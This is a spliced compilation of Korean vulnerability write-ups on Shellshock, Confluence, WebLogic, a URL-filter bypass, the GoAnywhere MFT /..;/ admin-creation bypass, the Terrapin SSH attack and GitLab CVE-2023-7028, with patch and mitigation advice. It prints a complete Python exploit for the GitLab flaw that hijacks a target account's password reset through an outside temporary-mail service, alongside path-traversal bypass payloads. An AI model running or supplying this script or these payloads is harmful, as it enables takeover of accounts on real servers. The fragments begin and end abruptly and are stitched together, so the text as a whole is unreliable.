- GNU Bash Shell에서 환경변수에 악의적인 코드를 삽입해 원격 코드 실행이 가능한 취약점 (CVSS: 9.8) - 영향받는 버전: 1.14.0~1.14.7 / 2.0~2.05 / 3.0~3.0.16 / 3.1~3.2.48 / 4.0~ 4.3 - 관련 추가 내용 확인 불가
3. 대응방안
- 최신 버전 업데이트 적용
취약점
대상 소프트웨어
조치 방안
CVE-2023-22527
Confluence Data Center
8.5.4. 이상 업데이트
Confluence Server
8.6.0 이상 업데이트 8.7.1 이상 업데이트
CVE-2017-3506
WebLogic
2017.10 Oracle Critical 패치 업데이트
CVE-2014-6271
GNU Bash
Red Hat Enterprise Linux 4,5,6,7 업데이트 Ubuntu 10.04, 12.04, 14.04 업데이트 * GNU 기반 운영체제별 최신 업데이트 권고
- 해당 취약점은 "testURLPassesExclude" 메소드에서 URL에 대한 입력값 검증이 부족하여 발생
> doFilter()는 HTTP 요청을 가로채 입력값 검증, 권한 검증 등을 수행하는 것으로 판단됨
> testURLPassesExclude 메소드는 doFilter()에 의해 호출
> testURLPassesExclude는 URL에서 ".." 또는 "%2e (디코딩 .)" 문자열만 필터링하며 그 외 추가적인 필터링은 존재하지 않음
public static boolean testURLPassesExclude(String url, String exclude) {
// If the exclude rule includes a "?" character, the url must exactly match the exclude rule.
// If the exclude rule does not contain the "?" character, we chop off everything starting at the first "?"
// in the URL and then the resulting url must exactly match the exclude rule. If the exclude ends with a "*"
// character then the URL is allowed if it exactly matches everything before the * and there are no ".."
// characters after the "*". All data in the URL before
if (exclude.endsWith("*")) {
if (url.startsWith(exclude.substring(0, exclude.length()-1))) {
// Now make suxre that there are no ".." characters in the rest of the URL.
if (!url.contains("..") && !url.toLowerCase().contains("%2e")) {
return true;
}
}
}
else if (exclude.contains("?")) {
if (url.equals(exclude)) {
return true;
}
}
else {
int paramIndex = url.indexOf("?");
if (paramIndex != -1) {
url = url.substring(0, paramIndex);
}
if (url.equals(exclude)) {
return true;
}
}
return false;
}
- 공격자는 /%u002e%u002e/%u002e%u002e/ (디코딩 /../../)를 이용해 URL 입력값 검증을 우회
> 벤더사는 당시 웹 서버에서 지원하지 않는 UTF-16 문자의 특정 비표준 URL 인코딩에서 오류가 발생하였다고 밝힘
- 취약한 버전의 GoAnywhere MFT에서 발생하는 인증 우회 취약점 (CVSS: 9.8)
> 인증을 우회한 공격자는 새로운 관리자 계정을 생성해 추가 익스플로잇이 가능함
영향받는 버전 [3] ① Fortra GoAnywhere MFT 6.x (6.0.1 이상) ② Fortra GoAnywhere MFT 7.x (7.4.1 이전)
2.1 취약점 상세 [4]
- 최초 설치시 GoAnywhere MFT는 InitialAccountSetup.xhtml를 호출해 관리자 계정을 생성
[사진 2] 설치 중 관리자 계정 추가
- 설치 후 InitialAccountSetup.xhtml를 직접 요청하면 액세스할 수 없으며 리다이렉션이 발생
> 관리자 계정이 생성되었기 때문
> /Dashboard.xhtml 엔드포인트로 리디렉션
> 사용자가 인증되지 않았으므로 최종적으로 /auth/Login.xhtml로 리디렉션
- 모든 요청에 대해 com.linoma.dpa.security.SecurityFilter 클래스 호출
> 어떤 엔드포인트가 요청되는지 확인하고 엔드포인트, 사용자 컨텍스트 및 응용 프로그램 설정을 기반으로 요청이 올바른 엔드포인트로 라우팅 되도록 허용하는 doFilter() 기능을 수행
> 해당 클래스에서 취약점과 관련된 /InitialAccountSetup.xhtml 요청을 처리하는 명시적인 코드가 확인
① 91번 라인: 이미 생성된 관리자 사용자가 없고 경로가 /wizard/InitialAccountSetup.xhtml이 아닌 경우 설정 페이지로 리다이렉션 ② 102번 라인: 이미 생성된 admin 사용자가 있고 경로가 /wizard/InitialAccountSetup.xhtml이면 /Dashboard.xhtml로 리디렉션
[사진 3] /wizard/InitialAccountSetup.xhtml 관련 명시적 코드
- 공격자는 이를 악용하기 위해 페이로드에 "/..;/"를 추가해 경로 순회 취약점을 이용
> Tomcat의 일부 취약한 구성은 /..;/를 /../로 정규화 [5][6]
> /..;/를 이용해 doFilter()를 우회하여 새로운 관리자 계정 생성 및 추가 익스플로잇 수행
- SSH(Secure Shell Protocol)는 1995년 telnet, rlogin, rcp 등의 대안으로 설계되어, 암호화된 통신을 지원 > 인증된 키 교환을 사용해 클라이언트와 서버간 보안 채널을 설정 > 보안 채널은 메시지 조작, 재전송, 삭제 등을 방지하여 기밀성과 무결성을 보장 - 독일 보훔 루르대학교에서 SSH를 공격할 수 있는 새로운 기법 Terrapin 발견 > 통신 채널을 통해 교환되는 메시지를 삭제, 변경 등 조작할 수 있음 > OpenSSH, Paramiko, PuTTY, KiTTY, WinSCP, libssh, libssh2, AsyncSSH, FileZilla, Dropbear를 포함한 다양한 SSH 클라이언트 및 서버에 영향
[사진 1] Tererapin Attack
2. 주요내용
- Terrapin Attack은 SSH 핸드셰이크 과정에 개입해 중간자 공격 수행
> 핸드셰이크 과정은 클라이언트와 서버가 암호화 요소에 동의하고, 키를 교환해 보안 채널을 설정하는 중요 단계 > 전 세계 약 1,100만 개 이상의 SSH 서버가 영향권 [2]
[사진 2] 공격 개요
[사진 3] Terrapin Attack 취약 서버
- SSH 핸드셰이크 과정의 2가지 문제에 의해 발생
> 핸드셰이크의 모든 과정이 아닌 시퀀스 번호를 이용해 관리 > 보안 채널 시작시 시퀀스 번호를 재설정하지 않음
> 따라서, 공격자는 핸드셰이크 과정에 개입 및 시퀀스 번호 조작을 통해 SSH 채널의 무결성을 손상 시킬 수 있음
※ 사용자 인증을 위한 공개 키 알고리즘 다운그레이드, 여러 보안 기능 비활성화 등
[사진 4] 취약점 근본 원인
- 공격이 성공하기 위한 조건 존재
> 중간자 공격이 가능해야 하며, ChaCha20-Poly1305 암호화 알고리즘을 사용 > ChaCha20-Poly1305 알고리즘은 시퀀스 번호를 직접 사용하기 때문에 취약
※ 참고
영향
알고리즘
취약하지 않음
GCM, CBC-EaM, CTR-EaM
취약하나 악용불가
CTR-EtM
취약하나 확율적 악용가능
CBC-EtM
- 논문에 따르면 전체 서버 중 57.73%가 ChaCha20-Poly1305 알고리즘 선호
> 전체 서버 중 ChaCha20-Poly1305, CBC-EtM 알고리즘이 각각 67.58%, 17.24% 지원 (그 중 7%는 두 가지 알고리즘 모두 제공)
[사진 5] 지원 암호 알고리즘
- 해당 공격은 CVE-2023-48795로 명명 [3] > CVE-2023-46445(AsyncSSH의 악성 확장 협상 공격), CVE-2023-46446(AsyncSSH의 악성 세션 공격) 포함
3. 대응방안
> 클라이언트-서버간 모든 SSH 핸드셰이크를 인증 > 시퀀스 번호 재설정: 암호화 키가 활성화될 때 시퀀스 번호 0 재설정 > 통신 종료 메시지 지정: TLS 에서는 핸드셰이크 과정의 끝을 알리기 위해 Finished 메시지가 전송되며, 이는 서명이나 암호화되어 상대방이 검증하는 용도로 사용 [4] > 핸드셰이크 과정 중 인증되지 않은 애플리케이션 계층 메시지를 허용하지 않도록 강화(AsyncSSH의 경우) > 서버 보안 패치 즉시 적용: 패치가 적용된 서버일지라도, 클라이언트가 취약한 상태라면 서버 또한 취약한 상태이므로 주의 필요 > 취약점 스캐너 활용 [5]
- PoC 동작 과정 ① POST 메서드를 이용해 /user/password URL로 악성 요청 전송 ② 응답에서 인증 토큰(authenticity_token) 추출 후 비밀번호 재설정 요청 전송 ③ 공격 대상 이메일과 공격자 제어 이메일에 비밀번호 재설정 메시지 전송 ④ 새로운 패스워드 설정 후 공격 대상 계정 및 재설정 비밀번호를 이용해 /users/sign_in URL로 접근 가능함을 안내
import requests
import argparse
from urllib.parse import urlparse, urlencode
from random import choice
from time import sleep
import re
requests.packages.urllib3.disable_warnings()
class OneSecMail_api:
def __init__(self):
self.url = "https://www.1secmail.com"
self.domains = []
def get_domains(self):
print('[DEBUG] Scrapping available domains on 1secmail.com')
html = requests.get(f'{self.url}').text
pattern = re.compile(r'<option value="([a-z.1]+)" data-prefer')
self.domains = pattern.findall(html)
print(f'[DEBUG] {len(self.domains)} domains found')
def get_email(self):
print('[DEBUG] Getting temporary mail')
if self.domains == []:
self.get_domains()
if self.domains == []:
return None
name = ''.join([choice('abcdefghijklmnopqrstuvwxyz0123456789') for _ in range(10)])
domain = choice(self.domains)
mail = f'{name}@{domain}'
print(f'[DEBUG] Temporary mail: {mail}')
return mail
def get_mail_ids(self, name, domain):
print(f'[DEBUG] Getting last mail for {name}@{domain}')
html = requests.post(f'{self.url}/mailbox',
verify=False,
data={
'action': 'getMessages',
'login': name,
'domain': domain
}).text
pattern = re.compile(r'<a href="/mailbox/\?action=readMessageFull&(.*?)">')
mails = pattern.findall(html)
return mails
def get_last_mail(self, mail):
name, domain = mail.split('@')
mails = self.get_mail_ids(name, domain)
print(f'[DEBUG] {len(mails)} mail(s) found')
if mails == []:
return None
print(f'[DEBUG] Reading the last one')
html = requests.get(f'{self.url}/mailbox/?action=readMessageFull&{mails[0]}', verify=False).text
content = html.split('<div id="messageBody">')[1].split('<div id="end1sMessageBody">')[0]
return content
class CVE_2023_7028:
def __init__(self, url, target, evil=None):
self.use_temp_mail = False
self.mail_api = OneSecMail_api()
self.url = urlparse(url)
self.target = target
self.evil = evil
self.s = requests.session()
if self.evil is None:
self.use_temp_mail = True
self.evil = self.mail_api.get_email()
if not self.evil:
print('[DEBUG] Failed ... quitting')
exit()
def get_authenticity_token(self, code=''):
try:
print('[DEBUG] Getting authenticity_token ...')
endpoint = f'/users/password/edit?reset_password_token={code}'
html = self.s.get(f'{self.url.scheme}://{self.url.netloc}/{endpoint}', verify=False).text
regex = r'<input type="hidden" name="authenticity_token" value="(.*?)" autocomplete="off" />'
token = re.findall(regex, html)[0]
print(f'[DEBUG] authenticity_token = {token}')
return token
except Exception:
print('[DEBUG] Failed ... quitting')
return None
def get_csrf_token(self):
try:
print('[DEBUG] Getting authenticity_token ...')
html = self.s.get(f'{self.url.scheme}://{self.url.netloc}/users/password/new', verify=False).text
regex = r'<meta name="csrf-token" content="(.*?)" />'
token = re.findall(regex, html)[0]
print(f'[DEBUG] authenticity_token = {token}')
return token
except Exception:
print('[DEBUG] Failed ... quitting')
return None
def ask_reset(self):
token = self.get_csrf_token()
if not token:
return False
query_string = urlencode({
'authenticity_token': token,
'user[email][]': [self.target, self.evil]
}, doseq=True)
head = {
'Origin': f'{self.url.scheme}://{self.url.netloc}',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
'Content-Type': 'application/x-www-form-urlencoded',
'Referer': f'{self.url.scheme}://{self.url.netloc}/users/password/new',
'Connection': 'close',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate, br'
}
print('[DEBUG] Sending reset password request')
html = self.s.post(f'{self.url.scheme}://{self.url.netloc}/users/password',
data=query_string,
headers=head,
verify=False).text
sended = 'If your email address exists in our database' in html
if sended:
print(f'[DEBUG] Emails sended to {self.target} and {self.evil} !')
else:
print('[DEBUG] Failed ... quitting')
return sended
def parse_email(self, content):
try:
pattern = re.compile(r'/users/password/edit\?reset_password_token=(.*?)"')
token = pattern.findall(content)[0]
return token
except:
return None
def get_code(self, max_attempt=5, delay=7.5):
if not self.use_temp_mail:
url = input('\tInput link received by mail: ')
pattern = re.compile(r'(https?://[^"]+/users/password/edit\?reset_password_token=([^"]+))')
match = pattern.findall(url)
if len(match) != 1:
return None
return match[0][1]
else:
for k in range(1, max_attempt+1):
print(f'[DEBUG] Waiting mail, sleeping for {str(delay)} seconds')
sleep(delay)
print(f'[DEBUG] Getting link using temp-mail | Try N°{k} on {max_attempt}')
last_email = self.mail_api.get_last_mail(self.evil)
if last_email is not None:
code = self.parse_email(last_email)
return code
def reset_password(self, password):
code = self.get_code()
if not code:
print('[DEBUG] Failed ... quitting')
return False
print('[DEBUG] Generating new password')
charset = 'abcdefghijklmnopqrstuvwxzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
if password is None:
password = ''.join(choice(charset) for _ in range(20))
authenticity_token = self.get_authenticity_token(code)
if authenticity_token is None:
return False
print(f'[DEBUG] Changing password to {password}')
html = self.s.post(f'{self.url.scheme}://{self.url.netloc}/users/password',
verify=False,
data={
'_method': 'put',
'authenticity_token': authenticity_token,
'user[reset_password_token]': code,
'user[password]': password,
'user[password_confirmation]': password
}).text
success = 'Your password has been changed successfully.' in html
if success:
print('[DEBUG] CVE_2023_7028 succeed !')
print(f'\tYou can connect on {self.url.scheme}://{self.url.netloc}/users/sign_in')
print(f'\tUsername: {self.target}')
print(f'\tPassword: {password}')
else:
print('[DEBUG] Failed ... quitting')
def parse_args():
parser = argparse.ArgumentParser(add_help=True, description='This tool automates CVE-2023-7028 on gitlab')
parser.add_argument("-u", "--url", dest="url", type=str, required=True, help="Gitlab url")
parser.add_argument("-t", "--target", dest="target", type=str, required=True, help="Target email")
parser.add_argument("-e", "--evil", dest="evil", default=None, type=str, required=False, help="Evil email")
parser.add_argument("-p", "--password", dest="password", default=None, type=str, required=False, help="Password")
return parser.parse_args()
if __name__ == '__main__':
args = parse_args()
exploit = CVE_2023_7028(
url=args.url,
target=args.target,
evil=args.evil
)
if not exploit.ask_reset():
exit()
exploit.reset_password(password=args.password)
[사진 2] 비밀번호 재설정 요청 전송(위) 및 비밀번호 재설정 메일 공격자 수신 내역(아래) [5]
3. 대응방안
① 벤더사 제공 업데이트 및 권장사항 적용 [6]
- 해당 취약점을 포함한 5개의 취약점 패치를 제공하며, 즉각적인 조치가 필요
> 권장 사항 [7] ⒜ 여러 이메일 주소가 포함된 JSON 배열을 사용해 /users/password에 대한 HTTP 요청 로그(gitlab-rails/production_json.log)를 검토 ⒝ 감사 로그(gitlab-rails/audit_json.log)에서 여러 이메일 주소의 JSON 배열이 포함된 PasswordsController#create와 관련된 항목이 있는지 확인
제품명
영향받는 버전
해결버전
GitLab CE/EE
16.1 ~ 16.1.5
16.1.6
16.2 ~ 16.2.8
16.2.9
16.3 ~ 16.3.6
16.3.7
16.4 ~ 16.4.4
16.4.5
16.5 ~ 16.5.5
16.5.6
16.6 ~ 16.6.3
16.6.4
16.7 ~ 16.7.1
16.7.2
② 모든 GitLab 계정에 대해 2단계 인증 적용
- 2단계 인증 활성화시 비밀번호 재설정 취약점은 여전히 존재하나 2단계 인증 방법에는 액세스 불가
③ GitLab에 저장된 모든 비밀을 변경 [8]
- GitLab 계정 비밀번호를 포함한 모든 자격 증명 - API 토큰 - 모든 인증서 - 다른 비밀 정보